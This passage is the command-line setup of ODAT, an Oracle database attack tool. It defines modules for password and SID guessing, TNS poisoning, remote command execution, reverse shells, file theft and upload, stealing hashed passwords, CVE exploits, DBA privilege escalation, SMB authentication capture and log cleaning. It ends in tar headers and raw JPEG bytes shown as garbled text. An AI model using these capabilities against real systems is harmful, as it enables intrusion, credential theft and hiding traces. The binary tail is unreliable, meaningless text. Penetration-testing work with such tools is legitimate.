%(default)s)') PPservicenameguesser.add_argument('--service-name-file', dest='service-name-file', required=False, metavar="FILE", default=DEFAULT_SERVICE_NAME_FILE,help='file containing Service Names (default: %(default)s)') #1.4- Parent parser: Password Guesser PPpassguesser = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPpassguesser._optionals.title = "password guesser options" PPpassguesser.add_argument('--accounts-file',dest='accounts-file',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') PPpassguesser.add_argument('--accounts-files',dest='accounts-files',required=False,nargs=2,metavar=('loginFile','pwdFile'),default=[None, None],help='files containing logins and passwords (default: %(default)s)') PPpassguesser.add_argument('--logins-file-pwd', dest='logins-file-pwd', required=False, nargs=2, metavar=('loginFile','thePwd'), help='try the given password for each login in file') PPpassguesser.add_argument('--login-as-pwd',dest='login-as-pwd',action='store_true',help='each login will be tested as password (lowercase & uppercase)') PPpassguesser.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') PPpassguesser.add_argument('--separator', dest='separator', default='/', help='separator between login and password (default: %(default)s)') PPpassguesser.add_argument('--both-ul', dest='both-upper-lower', action='store_true', help='test each password in lower case and upper case (default: %(default)s)') PPpassguesser.add_argument('--random-order', dest='random-order', action='store_true',help='test accounts in random order (default: %(default)s)') #1.5- Parent parser: URL_HTTP PPutlhttp = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPutlhttp._optionals.title = "http commands" PPutlhttp.add_argument('--send',dest='send',default=None,required=False,nargs=3,metavar=('ip','port','namefile'),help='send the GET or POST request stored in namefile to ip:port') PPutlhttp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') PPutlhttp.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') PPutlhttp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.5- Parent parser: HTTPURITYPE PPhttpuritype = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPhttpuritype._optionals.title = "http commands" PPhttpuritype.add_argument('--url',dest='httpUrl',default=None,required=False,help='send a http GET request') PPhttpuritype.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') PPhttpuritype.add_argument('--save-reponse',dest='save-reponse',default=None,required=False,metavar='FILE',help='store the response server in this file') PPhttpuritype.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.6- Parent parser: DBSMAdvisor PPdbmsadvisor = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPdbmsadvisor._optionals.title = "DBMSAdvisor commands" PPdbmsadvisor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='put a file on the remote database server') PPdbmsadvisor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.7- Parent parser: DBSMScheduler PPdbmsscheduler = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPdbmsscheduler._optionals.title = "DBMSScheduler commands" PPdbmsscheduler.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') PPdbmsscheduler.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell. Use Python on Linux targets. On Windows, uses Powershell (download a script file and executes it remotely)') PPdbmsscheduler.add_argument('--cmd-exe', dest='cmd-exe', action='store_true', help='execute command in a "cmd.exe /c" (for --exec with Windows target only)') PPdbmsscheduler.add_argument('--make-download', dest='make-download', required=False, nargs=2, metavar=('urlToFile', 'remotefilePath'), help='make the windows target download a local file with powershell over http') PPdbmsscheduler.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.8- Parent parser: Java PPjava = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPjava._optionals.title = "java commands" PPjava.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system') PPjava.add_argument('--shell',dest='shell',action='store_true',required=False,help='get a shell on the remote system') PPjava.add_argument('--path-shell',dest='path-shell',default="/bin/sh",required=False,help='specify path to shell (default: %(default)s)') PPjava.add_argument('--reverse-shell',dest='reverse-shell',required=False,nargs=2,metavar=('ip','port'),help='get a reverse shell') PPjava.add_argument('--create-file-CVE-2018-3004',dest='create-file-CVE-2018-3004',required=False,nargs=2,metavar=('data','filename'),help='create (or append to) a file with CVE-2018-3004 (Bypass built in Oracle JVM security)') PPjava.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.9- Parent parser: Ctxsys PPctxsys = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPctxsys._optionals.title = "ctxsys commands" PPctxsys.add_argument('--getFile',dest='getFile',default=None,required=False,help='read a file on the remote server') PPctxsys.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.10- Parent parser: Passwords PPpasswords = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPpasswords._optionals.title = "passwords commands" PPpasswords.add_argument('--get-passwords',dest='get-passwords',action='store_true',required=False,help='get Oracle hashed passwords (accounts can be locked or not)') PPpasswords.add_argument('--get-passwords-not-locked',dest='get-passwords-not-locked',action='store_true',required=False,help='get Oracle hashed passwords when account is not locked') PPpasswords.add_argument('--get-passwords-ocm', dest='get-passwords-ocm', action='store_true', required=False, help='get Oracle hashed passwords (accounts can be locked or not) indirectly (CVE-2020-2984). "Lateral Thinking" with an ORACLE_OCM view. Only when 12c or higher and for some accounts (e.g SYSTEM)') PPpasswords.add_argument('--get-passwords-ocm-not-locked', dest='get-passwords-ocm-not-locked', action='store_true', required=False, help='get Oracle hashed passwords (accounts not locked) indirectly (CVE-2020-2984). "Lateral Thinking" with an ORACLE_OCM view. Only when 12c or higher and for some accounts (e.g SYSTEM)') PPpasswords.add_argument('--get-passwords-from-history',dest='get-passwords-from-history',action='store_true',required=False,help='get Oracle hashed passwords from history') PPpasswords.add_argument('--get-passwords-dbms-stats', dest='get-passwords-dbms-stats', action='store_true',required=False, help='get Oracle hashed passwords with DBMS_STAT') PPpasswords.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.11- Parent parser: dbmsxslprocessor PPdbmsxslprocessor = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPdbmsxslprocessor._optionals.title = "DBMSXslprocessor commands" PPdbmsxslprocessor.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='put a file on the remote database server') PPdbmsxslprocessor.add_argument('--getFile', dest='getFile', default=None, required=False, nargs=3,metavar=('remotePath', 'remoteFile', 'localFile'),help='get a file from the remote database server') PPdbmsxslprocessor.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.12- Parent parser: externalTable PPexternaltable = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPexternaltable._optionals.title = "ExternalTable commands" PPexternaltable.add_argument('--exec',dest='exec',default=None,required=False,nargs=2,metavar=('remotePath','file'),help='execute a system command on the remote system (options no allowed)') PPexternaltable.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='get a file from the remote database server') PPexternaltable.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.13- Parent parser: utlfile PPutlfile = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPutlfile._optionals.title = "utlfile commands" PPutlfile.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='get a file from the remote database server') PPutlfile.add_argument('--putFile',dest='putFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='put a file to the remote database server') PPutlfile.add_argument('--removeFile',dest='removeFile',default=None,required=False,nargs=2,metavar=('remotePath','remoteFile'),help='remove a file on the remote database server') PPutlfile.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.14- Parent parser: UTL_TCP PPutltcp = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPutltcp._optionals.title = "utltcp commands" PPutltcp.add_argument('--send-packet',dest='send-packet',default=None,required=False,nargs=3,metavar=('ip','port','filename'),help='send a packet') PPutltcp.add_argument('--scan-ports',dest='scan-ports',default=None,required=False,nargs=2,metavar=('ip','ports'),help='scan tcp ports of a remote engine') PPutltcp.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.15- Parent parser: STEAL_REMOTE_PASSWORDS PPstealRemotePass = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPstealRemotePass._optionals.title = "stealRemotePasswords commands" PPstealRemotePass.add_argument('-s', dest='server', required=True, help='server') PPstealRemotePass.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') PPstealRemotePass.add_argument('-d', dest='sid', required=False, default=None, help='Oracle System ID (SID)') PPstealRemotePass.add_argument('-n', dest='serviceName', required=False, default=None, help='Service Name') PPstealRemotePass.add_argument('-U', dest='user', required=False, help='Valid Oracle username') PPstealRemotePass.add_argument('-P', dest='password', required=False, default=None, help='Valid Oracle password') PPstealRemotePass.add_argument('--get-all-passwords',dest='get-all-passwords',action='store_true',default=None,required=False,help='get all hashed passwords thanks to the user/password list') PPstealRemotePass.add_argument('--decrypt-sessions',dest='decrypt-sessions',nargs=2,metavar=('sessionFile','pwdFile'),default=None,required=False,help='decrypt sessions stored in a file') PPstealRemotePass.add_argument('--user-list',dest='user-list',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') PPstealRemotePass.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.16- Parent parser: Oradbg PPoradbg = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPoradbg._optionals.title = "oradbg commands" PPoradbg.add_argument('--exec',dest='exec',default=None,required=False,help='execute a system command on the remote system (no args allowed)') PPoradbg.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.12- Parent parser: DBMS_LOB PPdbmsLob = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPdbmsLob._optionals.title = "DBMS_LOB commands (new)" PPdbmsLob.add_argument('--getFile',dest='getFile',default=None,required=False,nargs=3,metavar=('remotePath','remoteFile','localFile'),help='get a file from the remote database server') PPdbmsLob.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.17- Parent parser: usernamelikepassword PPusernamelikepassword = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPusernamelikepassword._optionals.title = "usernamelikepassword commands" PPusernamelikepassword.add_argument('--run',dest='run',action='store_true',required=True,help='try to connect using each Oracle username like the password') PPusernamelikepassword.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') PPusernamelikepassword.add_argument('--additional-pwd',dest='additional-pwd',nargs='+',help='try these passwords for each user also (default: %(default)s)') PPusernamelikepassword.add_argument('--separator', dest='separator', default='/',help='separator between login and password (default: %(default)s)') #1.18- Parent parser: smb PPsmb = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPsmb._optionals.title = "smb commands" PPsmb.add_argument('--capture',dest='captureSMBAuthentication',default=None,required=False,nargs=2,metavar=('local_ip','share_name'),help='capture the smb authentication') PPsmb.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.19- Parent parser: PrivilegeEscalation PPprivilegeEscalation0 = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPprivilegeEscalation0._optionals.title = "helpful privesc commands" PPprivilegeEscalation0.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') PPprivilegeEscalation0.add_argument('--get-privs',dest='get-privs',action='store_true',help='get current privileges and roles') PPprivilegeEscalation0.add_argument('--get-detailed-privs',dest='get-detailed-privs',action='store_true',help='get current privileges and roles + roles and privileges of roles granted') PPprivilegeEscalation = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPprivilegeEscalation._optionals.title = "privesc commands for automatic exploitation" PPprivilegeEscalation.add_argument('--dba-with-execute-any-procedure',dest='dba-with-execute-any-procedure',action='store_true',help='grant DBA role to current user with CREATE/EXECUTE ANY PROCEDURE method') PPprivilegeEscalation.add_argument('--alter-pwd-with-create-any-procedure',dest='alter-pwd-with-create-any-procedure',nargs=2,metavar=('user','new-password'),default=None,required=False,help='alter password of any Oracle user with CREATE ANY PROCEDURE method') PPprivilegeEscalation.add_argument('--dba-with-create-any-trigger',dest='dba-with-create-any-trigger',action='store_true',help='grant DBA role to current user with CREATE ANY TRIGGER method') PPprivilegeEscalation.add_argument('--dba-with-analyze-any',dest='dba-with-analyze-any',action='store_true',help='grant DBA role to current user with ANALYZE ANY method') PPprivilegeEscalation.add_argument('--dba-with-create-any-index',dest='dba-with-create-any-index',action='store_true',help='grant DBA role to current user with CREATE ANY INDEX method') PPprivilegeEscalation.add_argument('--revoke-dba-role',dest='revoke-dba-role',action='store_true',help='revoke dba role from current user') PPprivilegeEscalation2 = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPprivilegeEscalation2._optionals.title = "privesc commands for semi-manual exploitation" PPprivilegeEscalation2.add_argument('--exec-with-execute-any-procedure',dest='exec-with-execute-any-procedure',nargs=1,metavar=('request'),help='execute this request as SYS with CREATE/EXECUTE ANY PROCEDURE method') PPprivilegeEscalation2.add_argument('--exec-with-create-any-procedure',dest='exec-with-create-any-procedure',nargs=1,metavar=('request'),help='execute this request as APEX_040200 with CREATE ANY PROCEDURE method') PPprivilegeEscalation2.add_argument('--exec-with-create-any-trigger',dest='exec-with-create-any-trigger',nargs=1,metavar=('request'),help='execute this request as SYS with CREATE ANY TRIGGER method') PPprivilegeEscalation2.add_argument('--exec-with-analyze-any',dest='exec-with-analyze-any',nargs=1,metavar=('request'),help='execute this request as SYS with ANALYZE ANY method') PPprivilegeEscalation2.add_argument('--exec-with-create-any-index',dest='exec-with-create-any-index',nargs=1,metavar=('request'),help='execute this request as SYS with CREATE ANY INDEX method') #1.20- Parent parser: CVE_XXXX_YYYY PPcve = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPcve._optionals.title = "cve commands" PPcve.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') PPcve.add_argument('--set-pwd-2014-4237',dest='set-pwd-2014-4237',nargs=2,metavar=('username','password'),help="modify a Oracle user's password using CVE-2014-4237") PPcve.add_argument('--cve-2018-3004',dest='cve-2018-3004',nargs=2,metavar=('path','dataInFile'),help="create/modify a text file on the target using CVE-2018-3004") #1.21- Parent parser: search PPsearch = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPsearch._optionals.title = "search commands" PPsearch.add_argument('--basic-info', dest='basic-info', action='store_true', required=False,help='get basic information about the instance & database') PPsearch.add_argument('--column-names',dest='column-names',default=None,required=False,metavar='sqlPattern',help='search pattern in all collumns') PPsearch.add_argument('--pwd-column-names',dest='pwd-column-names',action='store_true',help='search password patterns in all collumns') PPsearch.add_argument('--desc-tables',dest='desc-tables',action='store_true',help='describe each table which is accessible') PPsearch.add_argument('--show-empty-columns',dest='show-empty-columns',action='store_true',help='show columns even if columns are empty') PPsearch.add_argument('--without-example',dest='without-example',action='store_true',help="don't get an example value when column matches (for --column-names and --pwd-column-names)") PPsearch.add_argument('--sql-shell', dest='sql-shell', action='store_true',help="start a minimal interactive SQL shell") PPsearch.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.22- Parent parser: unwrapper PPunwrapper = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPunwrapper._optionals.title = "unwrapper commands" PPunwrapper.add_argument('--object-name',dest='object-name',default=None,required=False,help='unwrap this object stored in the database') PPunwrapper.add_argument('--object-type',dest='object-type',default=None,required=False, choices=["FUNCTION","JAVA SOURCE","PACKAGE","PACKAGE BODY","PROCEDURE","TRIGGER","TYPE","TYPE BODY"], help='define the object type') PPunwrapper.add_argument('--file',dest='file',default=None,required=False,help='unwrap the source code stored in a file') PPunwrapper.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') #1.23- Parent parser: clean PPclean = argparse.ArgumentParser(add_help=False,formatter_class=myFormatterClass) PPclean._optionals.title = "clean commands" PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs stored locally') #2- main commands subparsers = parser.add_subparsers(help='\nChoose a main command') #2.a- Run all modules parser_all = subparsers.add_parser('all',parents=[PPoptional,PPconnection,PPallModule,PPoutput,PPsidguesser,PPservicenameguesser,PPpassguesser], formatter_class=mySubFormatterClass, help='to run all modules in order to know what it is possible to do') parser_all.set_defaults(func=runAllModulesOnEachHost,auditType='all') #2.b- tnscmd parser_tnscmd = subparsers.add_parser('tnscmd',parents=[PPoptional,PPconnection,PPTnsCmd,PPoutput], formatter_class=mySubFormatterClass, help='to communicate with the TNS listener') parser_tnscmd.set_defaults(func=runTnsCmdModule,auditType='tnscmd') #2.b- tnspoison parser_tnspoison = subparsers.add_parser('tnspoison',parents=[PPoptional,PPconnection,PPTnsPoison,PPTnsPoisonSub, PPoutput], formatter_class=mySubFormatterClass, help='to exploit TNS poisoning attack (SID required)') parser_tnspoison.set_defaults(func=runTnsPoisonModule,auditType='tnspoison') #2.b- SIDGuesser parser_sidGuesser = subparsers.add_parser('sidguesser',parents=[PPoptional,PPconnection,PPsidguesser,PPoutput], formatter_class=mySubFormatterClass, help='to know valid SIDs') parser_sidGuesser.set_defaults(func=runSIDGuesserModule,auditType='sidGuesser') # 2.b.2- ServiceNameGuesser parser_serviceNameGuesser = subparsers.add_parser('snguesser', parents=[PPoptional, PPconnection, PPservicenameguesser, PPoutput], formatter_class=mySubFormatterClass, help='to know valid Service Name(s)') parser_serviceNameGuesser.set_defaults(func=runServiceNameGuesserModule, auditType='serviceNameGuesser') #2.c- PasswordGuesser parser_passwordGuesser = subparsers.add_parser('passwordguesser',parents=[PPoptional,PPconnection,PPpassguesser,PPoutput], formatter_class=mySubFormatterClass, help='to know valid credentials') parser_passwordGuesser.set_defaults(func=runPasswordGuesserModule,auditType='passwordGuesser') #2.d- UTL_HTTP parser_utlhttp = subparsers.add_parser('utlhttp',parents=[PPoptional,PPconnection,PPutlhttp,PPoutput], formatter_class=mySubFormatterClass, help='to send HTTP requests or to scan ports') parser_utlhttp.set_defaults(func=runUtlHttpModule,auditType='utl_http') #2.e- HTTPURITYPE parser_httpuritype = subparsers.add_parser('httpuritype',parents=[PPoptional,PPconnection,PPhttpuritype,PPoutput], formatter_class=mySubFormatterClass, help='to send HTTP requests or to scan ports') parser_httpuritype.set_defaults(func=runHttpUriTypeModule,auditType='httpuritype') #2.e- UTL_TCP parser_utltcp = subparsers.add_parser('utltcp',parents=[PPoptional,PPconnection,PPutltcp,PPoutput], formatter_class=mySubFormatterClass, help='to scan ports') parser_utltcp.set_defaults(func=runUtlTcpModule,auditType='utltcp') #2.f- CTXSYS parser_ctxsys = subparsers.add_parser('ctxsys',parents=[PPoptional,PPconnection,PPctxsys,PPoutput], formatter_class=mySubFormatterClass, help='to read files') parser_ctxsys.set_defaults(func=runCtxsysModule,auditType='ctxsys') #2.g- EXTERNAL TABLE parser_externaltable = subparsers.add_parser('externaltable',parents=[PPoptional,PPconnection,PPexternaltable,PPoutput], formatter_class=mySubFormatterClass, help='to read files or to execute system commands/scripts') parser_externaltable.set_defaults(func=runExternalTableModule,auditType='externaltable') #2.h- DBMS_XSLPROCESSOR parser_dbmsxslprocessor = subparsers.add_parser('dbmsxslprocessor',parents=[PPoptional,PPconnection,PPdbmsxslprocessor,PPoutput], formatter_class=mySubFormatterClass, help='to upload files') parser_dbmsxslprocessor.set_defaults(func=runDbmsXslprocessorModule,auditType='dbmsxslprocessor') #2.i- DBMSADVISOR parser_dbmsadvisor = subparsers.add_parser('dbmsadvisor',parents=[PPoptional,PPconnection,PPdbmsadvisor,PPoutput], formatter_class=mySubFormatterClass, help='to upload files') parser_dbmsadvisor.set_defaults(func=runDbmsadvisorModule,auditType='dbmsadvisor') #2.j- UTL_FILE parser_utlfile = subparsers.add_parser('utlfile',parents=[PPoptional,PPconnection,PPutlfile,PPoutput], formatter_class=mySubFormatterClass, help='to download/upload/delete files') parser_utlfile.set_defaults(func=runUtlFileModule,auditType='utlfile') #2.k- DBMSSCHEDULER parser_dbmsscheduler = subparsers.add_parser('dbmsscheduler',parents=[PPoptional,PPconnection,PPdbmsscheduler,PPoutput], formatter_class=mySubFormatterClass, help='to execute system commands without a standard output') parser_dbmsscheduler.set_defaults(func=runDbmsSchedulerModule,auditType='dbmsscheduler') #2.l- JAVA parser_java = subparsers.add_parser('java',parents=[PPoptional,PPconnection,PPjava,PPoutput], formatter_class=mySubFormatterClass, help='to execute system commands') parser_java.set_defaults(func=runjavaModule,auditType='java') #2.m- Passwords parser_passwords = subparsers.add_parser('passwordstealer',parents=[PPoptional,PPconnection,PPpasswords,PPoutput], formatter_class=mySubFormatterClass, help='to get hashed Oracle passwords') parser_passwords.set_defaults(func=runPasswordsModule,auditType='passwords') #2.n- Oradbg parser_oradbg = subparsers.add_parser('oradbg',parents=[PPoptional,PPconnection,PPoradbg,PPoutput], formatter_class=mySubFormatterClass, help='to execute a bin or script') parser_oradbg.set_defaults(func=runOradbgModule,auditType='oradbg') #2.o- DBMS_LOB parser_dbmslob = subparsers.add_parser('dbmslob',parents=[PPoptional,PPconnection,PPdbmsLob,PPoutput], formatter_class=mySubFormatterClass, help='to download files') parser_dbmslob.set_defaults(func=runDbmsLob,auditType='dbmslob') #2.o- steal Passwords (CVE-2012-313) parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput], formatter_class=mySubFormatterClass, help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)') parser_passwords.set_defaults(func=runCVE20123137Module,auditType='passwords') #2.p- username like password parser_usernamelikepassword = subparsers.add_parser('userlikepwd',parents=[PPoptional,PPconnection,PPusernamelikepassword,PPoutput], formatter_class=mySubFormatterClass, help='to try each Oracle username stored in the DB like the corresponding pwd') parser_usernamelikepassword.set_defaults(func=runUsernameLikePassword,auditType='usernamelikepassword') #2.q- smb parser_smb = subparsers.add_parser('smb',parents=[PPoptional,PPconnection,PPsmb,PPoutput], formatter_class=mySubFormatterClass, help='to capture the SMB authentication') parser_smb.set_defaults(func=runSMBModule,auditType='smb') #2.q- privilegeEscalation parser_privilegeEscalation = subparsers.add_parser('privesc',parents=[PPoptional,PPconnection,PPprivilegeEscalation0, PPprivilegeEscalation,PPprivilegeEscalation2,PPoutput], formatter_class=mySpecialSubFormatterClass, help='to gain elevated access') parser_privilegeEscalation.set_defaults(func=runPrivilegeEscalationModule,auditType='privesc') #2.r- cve parser_cve = subparsers.add_parser('cve',parents=[PPoptional,PPconnection,PPcve,PPoutput], formatter_class=mySubFormatterClass, help='to exploit a CVE') parser_cve.set_defaults(func=runCVEXXXYYYModule,auditType='cve') #2.s- search parser_search = subparsers.add_parser('search',parents=[PPoptional,PPconnection,PPsearch,PPoutput], formatter_class=mySubFormatterClass, help='to search in databases, tables and columns') parser_search.set_defaults(func=runSearchModule,auditType='search') #2.t- PPunwrapper parser_unwrapper = subparsers.add_parser('unwrapper',parents=[PPoptional,PPconnection,PPunwrapper,PPoutput], formatter_class=mySubFormatterClass, help='to unwrap PL/SQL source code (no for 9i version)') parser_unwrapper.set_defaults(func=runUnwrapperModule,auditType='unwrapper') #2.u- clean parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput], formatter_class=mySubFormatterClass, help='clean traces and logs') parser_clean.set_defaults(func=runClean,auditType='clean') #3- parse the args if ARGCOMPLETE_AVAILABLE == True : argcomplete.autocomplete(parser) args = dict(parser.parse_args()._get_kwargs()) arguments = parser.parse_args() #4- Configure logging and output configureLogging(args) args['print'] = Output(args) #Start the good function if 'auditType' in args and (args['auditType']=='unwrapper' or args['auditType']=='clean'): pass else: if ipOrNameServerHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT try: cx_Oracle.init_oracle_client(config_dir="conf/", driver_name=args['client-driver'], error_url= "") logging.info("CX_Oracle is well configured according to parameters") except Exception as e: logging.error("Impossible to load local configuration files in conf/ and to set driver_name: {0}".format(str(e))) logging.debug("cx_Oracle Version: {0}".format(cx_Oracle.version)) logging.debug("Oracle Client Version: {0}".format(cx_Oracle.clientversion())) arguments.func(args) exit(ALL_IS_OK) if __name__ == "__main__": main() odat-5.1.1/pictures/000077500000000000000000000000001423220672100143025ustar00rootroot00000000000000odat-5.1.1/pictures/ODAT_main_features_v1.1.jpg000066400000000000000000005636301423220672100212170ustar00rootroot00000000000000JFIFCCc"   sX~<ُw3$7}RyWʿXlp{?MR˵vD:UW` uv:2*gX絓 v* ߪT+*Xեŀŀŀŀŀŀ%]H]Hd&-=TRBRBRBU\TTTTTTTŎ_e_'ս_z]L\f_,*Udqy8.!X5ߺHb'W8rk+h; i_/6bJL%r݇;|n*;[o*>oHE'~u!~5W;Nڭ6|z=ClQ;c#r3l J5%DO`t+->fr}W+Ԡ3\S A_?PTVUw,LJ!at\ϼ pqI8v(xmQ[GIB_o_4m- שUuBMٞt17k@+~!›>3|nTMh<^+X%I3rΦO{͎,eW;ۨB5+ ۝~>YnYbYb{MTVU y`<>a'Cl__͹@!ʹh hh|=Z"Z"Z"1'!0v%R\]\E\E\E\E\E]2ܕCU}O^AlyuSg%_y`@e(=yŤ+&kJp׊FQQQ@g$_ϯoUގ|͠ OoD9#~}ovˮ EeG,LJ!*+v2u3+cӾ?ސ3^>Izє7/+~ o =q~\pqrGy:nT+*9`<>a'Q[5Y|~]3wBʺJR5h%8[}(Up`WWWWWWWV7w<{?ri|)WTQA(J,~,oS_V2p sR|d;^r\VOXW?Y7NAyaO9BJߨ-Ц hKR|oҰ; ^t9zk2OcK8KVHa;羠*+O¿XXXXXXXa٨h\3JMϣAVT?#؊v Qr+G{h j /q3oVgzuiMН)=Rd8|?S?*ƮHw꺳I}sxh&} A]'h'4?רCӅ zg6g'| sCs;rA"O[S3XPȦX-8iچΰ+P␻z@t?9NT?&jw g١g΀L.O WAR]]R 3 $DuEz~>~|-ѥKo ϴ|? /|xR]g)mQ4ƒ YF~%59l3,Dsz2kT7rg]qطR5jG±8[V=+XOE}*tf=5W}udE.lKE.ƒKXz]H'\.N5oşc M0A M.7lVHR1DRKMqo췃0VrEm+VZ]Fb3\Qf F̲툥xbp tx)O~S: :>c>͐\Xn\")sC`8A/>ĻQ2ڱ«z<,WӓiU?NUu;}l3\3 }lfM7"5a1͚]x.-[!%೨,&Og_fr6`=gm׆]FS .>ϱoDzϩm^*YB̩kVkѯ,*k/;Uu=̬cqh<{ tn]s~ɚ1]|{ꝑq"5g:f82žZY_2ΒGttn 8Vo^ћ!Hqi+n=P4NArrllŝm|:ϐՋJ5׌{i,kbNМ2פgSyy*;rFw=?6o7ߝa6REvNtGu X+f*c=vt7ҥ):V}BHGu6]+^.ˡBӥJ1#dk-QӶ$r[XHgtIwNA:[#}irU_~Ҕb]a*̚~Z[xY&q 7Y򶞲e:V}>v%G3}rma~Zyv]]Lf:V9\ҏ'm+^*wnjX E~N5{,zmSW~0Sk=2/ÞM @xV0}Y3EXsk˸?X&dye\h+uЏLeHs _4?h6&4*j#gG )ۊx͌+ x슈;{x>K *?pB)K0!/>S7{WjgԖ ݉4xN1?˰T:kT=LBgݦtlPF 3/_g k҃r֝98ܼBԙǿ:Cf`QYOg\h(?Z#>h:OMؔZM@ ٤2E? h3ƇK=Lh@گs{PCuytH*\f&}";NC_'݇( 3)1"gM| APWj{JTk4X倯ŀ!wm1],~,xWW6}Y'ŀŀJ@ &jX7Vx/شܜ,E~:6=:HSl__H8H4ʿ#+=,na]oC;Mb1{Ǔŏ_öYU~H3LM݄jL1?Q/;3r[UiG)؜%^y(݊.weƦ{aWxLyaϚBpΠorᒮ9`#xXy>xϟAu=!ljzXRAvE2⸱v{˕<~znçZfoak șʹzW!Oe6}WW~X=m}j=nru]J+ !G.tv`W7` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `Ĝ= 06&345@#$%7P12`!"D8'pi+]إn+v)[J݊VRbإn)vl@  ̂kwEzCXǤYK&!Fƹ{ӥsnLj%^4'PK6nd'PLnjz$ؔ_bSsRT!H%}rkk\Z(ֹF5Qrkk\Z(ֹF' kk\Z(ֹF5Qrkk\Z(ֹFXѿ%<"7ä3[ R;1^F2T˨{WF|Pi4Zr.Ѽ:RpGpF^x@髶?d c2fh)4 !2Rl$H2:apGb26nNXT/G1]M :hĶ?#?c&byd2 ݐDZDVHQY?+rڊ2Nc@>JW #  OV)irs([zɱ,lU7suMJt4^A~2E']dx"|bW5i0+~XT5qvG'Xv60cKW-_ԵRKW-_Ե lIC$Q-pճXӭktiQogi1MK%cI]&>L}t&>L}t1c-ĘVe1cI]&>L}t1cI]&> l-_\5$y,C͒/R̮}! ,/S 6qnfks3[V`A$jI=+>[OH̍8%|!Q_$dX!1MA %g A&0=b|o/n]-ŎnTCFdYdyHw'D%o)[yi=INeI $";"e~oo++QRssL6nDff^P 5]C}23Y (E2'Qb,11asGIeYbowjG1 R: mry(DKd_-*]QQԒqXHBUV  5.Ԟ]C}23Y(Qgjimms`D],aEnrc`AT_7m2U|u re7 "e~oov VJrUlfu1`r$Q->z箮z箮z箮zjqy뫞뫞뫞-aaaaaat~]?l}l7}l7}l7}l7}l7}l7}l7}l7}l7}l7[I{ [ [ [ [ [ [ [ [ [ [ [ [ HM'0ž04%1ꧻJ+cL,mijSgA:14(V9]+WJ(BR רN͢QQ rV'^: רNBuÄ'^: 1 